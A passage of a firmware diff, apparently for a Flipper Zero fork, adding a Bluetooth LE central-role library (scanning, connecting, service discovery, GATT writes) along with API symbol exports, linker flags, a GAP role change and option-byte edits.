FURI_LOG_E(TAG, "write_command: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "write_command: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Write without response: handle=0x%04X len=%u", handle, len);
|
||||
tBleStatus status = aci_gatt_write_without_resp(
|
||||
ble_central->connection_handle, handle, len, data);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_write_without_resp FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "write_request: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "write_request: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Write with response: handle=0x%04X len=%u", handle, len);
|
||||
tBleStatus status = aci_gatt_write_char_value(
|
||||
ble_central->connection_handle, handle, len, data);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_write_char_value FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
uint16_t ble_central_get_connection_handle(void) {
|
||||
if(!ble_central) return 0;
|
||||
return ble_central->connection_handle;
|
||||
}
|
||||
|
||||
bool ble_central_is_connected(void) {
|
||||
if(!ble_central) return false;
|
||||
return ble_central->connected;
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
BleCentralEventDeviceFound,
|
||||
BleCentralEventConnected,
|
||||
BleCentralEventDisconnected,
|
||||
BleCentralEventGattProcComplete,
|
||||
BleCentralEventDataReceived,
|
||||
} BleCentralEventType;
|
||||
|
||||
typedef struct {
|
||||
uint8_t address[6];
|
||||
uint8_t address_type;
|
||||
char name[32];
|
||||
int8_t rssi;
|
||||
} BleCentralAdvertisedDevice;
|
||||
|
||||
typedef struct {
|
||||
uint16_t handle;
|
||||
uint8_t data[256];
|
||||
uint16_t len;
|
||||
} BleCentralGattData;
|
||||
|
||||
typedef void (*BleCentralEventCallback)(BleCentralEventType event, void* data, void* context);
|
||||
|
||||
bool ble_central_scan_start(BleCentralEventCallback callback, void* context);
|
||||
bool ble_central_scan_stop(void);
|
||||
bool ble_central_connect(const uint8_t* address, uint8_t address_type);
|
||||
bool ble_central_disconnect(void);
|
||||
bool ble_central_discover_services(void);
|
||||
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len);
|
||||
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len);
|
||||
uint16_t ble_central_get_connection_handle(void);
|
||||
bool ble_central_is_connected(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -14,15 +14,16 @@ IWDGSTOP:0x1:rw
|
||||
IWDGSW:0x1:rw
|
||||
IPCCDBA:0x0:rw
|
||||
ESE:0x1:r
|
||||
SFSA:0xD7:r
|
||||
SFSA:0xCE:rw
|
||||
FSD:0x0:r
|
||||
DDS:0x1:r
|
||||
C2OPT:0x1:r
|
||||
NBRSD:0x0:r
|
||||
SNBRSA:0xB:r
|
||||
BRSD:0x0:r
|
||||
SBRSA:0x12:r
|
||||
SBRV:0x35C00:r
|
||||
# Word 15 (C2 Opts) - read-only in firmware (NULL register), keep device values
|
||||
# C2OPT:0x1:r
|
||||
# NBRSD:0x0:r
|
||||
# SNBRSA:0xB:r
|
||||
# BRSD:0x0:r
|
||||
# SBRSA:0x12:r
|
||||
# SBRV:0x35C00:r
|
||||
PCROP1A_STRT:0x1FF:r
|
||||
PCROP1A_END:0x0:r
|
||||
PCROP_RDP:0x1:rw
|
||||
|
||||
@@ -37,6 +37,13 @@ ENV.AppendUnique(
|
||||
"-specs=nano.specs",
|
||||
"-Wl,--gc-sections",
|
||||
"-Wl,--undefined=uxTopUsedPriority",
|
||||
"-Wl,--undefined=aci_gap_start_general_discovery_proc",
|
||||
"-Wl,--undefined=aci_gap_terminate_gap_proc",
|
||||
"-Wl,--undefined=aci_gap_create_connection",
|
||||
"-Wl,--undefined=hci_disconnect",
|
||||
"-Wl,--undefined=aci_gatt_disc_all_primary_services",
|
||||
"-Wl,--undefined=aci_gatt_write_char_value",
|
||||
"-Wl,--undefined=aci_gatt_write_without_resp",
|
||||
"-Wl,--wrap,_malloc_r",
|
||||
"-Wl,--wrap,_free_r",
|
||||
"-Wl,--wrap,_calloc_r",
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
entry,status,name,type,params
|
||||
Version,+,89.2,,
|
||||
Version,+,89.3,,
|
||||
Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
|
||||
Header,+,applications/services/applications.h,,
|
||||
Header,+,applications/services/bt/bt_service/bt.h,,
|
||||
@@ -50,6 +50,8 @@ Header,+,applications/services/power/power_service/power.h,,
|
||||
Header,+,applications/services/rpc/rpc_app.h,,
|
||||
Header,+,applications/services/storage/storage.h,,
|
||||
Header,+,lib/bit_lib/bit_lib.h,,
|
||||
Header,+,lib/ble_central/aci_decls.h,,
|
||||
Header,+,lib/ble_central/ble_central.h,,
|
||||
Header,+,lib/ble_profile/extra_profiles/hid_profile.h,,
|
||||
Header,+,lib/ble_profile/extra_services/hid_service.h,,
|
||||
Header,+,lib/datetime/datetime.h,,
|
||||
@@ -625,6 +627,12 @@ Function,-,_wctomb_r,int,"_reent*, char*, wchar_t, _mbstate_t*"
|
||||
Function,-,a64l,long,const char*
|
||||
Function,+,abort,void,
|
||||
Function,-,abs,int,int
|
||||
Function,+,aci_gap_create_connection,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t"
|
||||
Function,+,aci_gap_start_general_discovery_proc,uint8_t,"uint16_t, uint16_t, uint8_t, uint8_t"
|
||||
Function,+,aci_gap_terminate_gap_proc,uint8_t,uint8_t
|
||||
Function,+,aci_gatt_disc_all_primary_services,uint8_t,uint16_t
|
||||
Function,+,aci_gatt_write_char_value,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
|
||||
Function,+,aci_gatt_write_without_resp,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
|
||||
Function,-,acos,double,double
|
||||
Function,-,acosf,float,float
|
||||
Function,-,acosh,double,double
|
||||
@@ -734,6 +742,15 @@ Function,+,bit_lib_test_parity_32,_Bool,"uint32_t, BitLibParity"
|
||||
Function,-,ble_app_deinit,void,
|
||||
Function,-,ble_app_get_key_storage_buff,void,"uint8_t**, uint16_t*"
|
||||
Function,-,ble_app_init,_Bool,
|
||||
Function,-,ble_central_connect,_Bool,"const uint8_t*, uint8_t"
|
||||
Function,-,ble_central_disconnect,_Bool,
|
||||
Function,-,ble_central_discover_services,_Bool,
|
||||
Function,-,ble_central_get_connection_handle,uint16_t,
|
||||
Function,-,ble_central_is_connected,_Bool,
|
||||
Function,-,ble_central_scan_start,_Bool,"BleCentralEventCallback, void*"
|
||||
Function,-,ble_central_scan_stop,_Bool,
|
||||
Function,-,ble_central_write_command,_Bool,"uint16_t, const uint8_t*, uint16_t"
|
||||
Function,-,ble_central_write_request,_Bool,"uint16_t, const uint8_t*, uint16_t"
|
||||
Function,-,ble_event_app_notification,BleEventFlowStatus,void*
|
||||
Function,-,ble_event_dispatcher_init,void,
|
||||
Function,-,ble_event_dispatcher_process_event,BleEventFlowStatus,void*
|
||||
@@ -2088,7 +2105,8 @@ Function,+,gui_set_lockdown,void,"Gui*, _Bool"
|
||||
Function,+,gui_set_lockdown_inhibit,void,"Gui*, _Bool"
|
||||
Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*"
|
||||
Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*"
|
||||
Function,-,hci_send_req,int,"hci_request*, uint8_t"
|
||||
Function,+,hci_disconnect,uint8_t,"uint16_t, uint8_t"
|
||||
Function,+,hci_send_req,int,"hci_request*, uint8_t"
|
||||
Function,+,hex_char_to_hex_nibble,_Bool,"char, uint8_t*"
|
||||
Function,+,hex_char_to_uint8,_Bool,"char, char, uint8_t*"
|
||||
Function,+,hex_chars_to_uint64,_Bool,"const char*, uint64_t*"
|
||||
|
||||
|
@@ -359,7 +359,7 @@ static void gap_init_svc(Gap* gap, const GapRootSecurityKeys* root_keys) {
|
||||
// Skip first symbol AD_TYPE_COMPLETE_LOCAL_NAME
|
||||
char* name = gap->service.adv_name + 1;
|
||||
aci_gap_init(
|
||||
GAP_PERIPHERAL_ROLE,
|
||||
GAP_PERIPHERAL_ROLE | GAP_CENTRAL_ROLE | GAP_OBSERVER_ROLE,
|
||||
0,
|
||||
strlen(name),
|
||||
&gap->service.gap_svc_handle,
|
||||
|
||||
@@ -11,7 +11,8 @@
|
||||
"platform_specific",
|
||||
"ble_glue/furi_ble",
|
||||
"ble_glue/services",
|
||||
"ble_glue/profiles"
|
||||
"ble_glue/profiles",
|
||||
"../../lib/ble_central"
|
||||
],
|
||||
"linker_script_flash": "stm32wb55xx_flash.ld",
|
||||
"linker_script_ram": "stm32wb55xx_ram_fw.ld",
|
||||
|
||||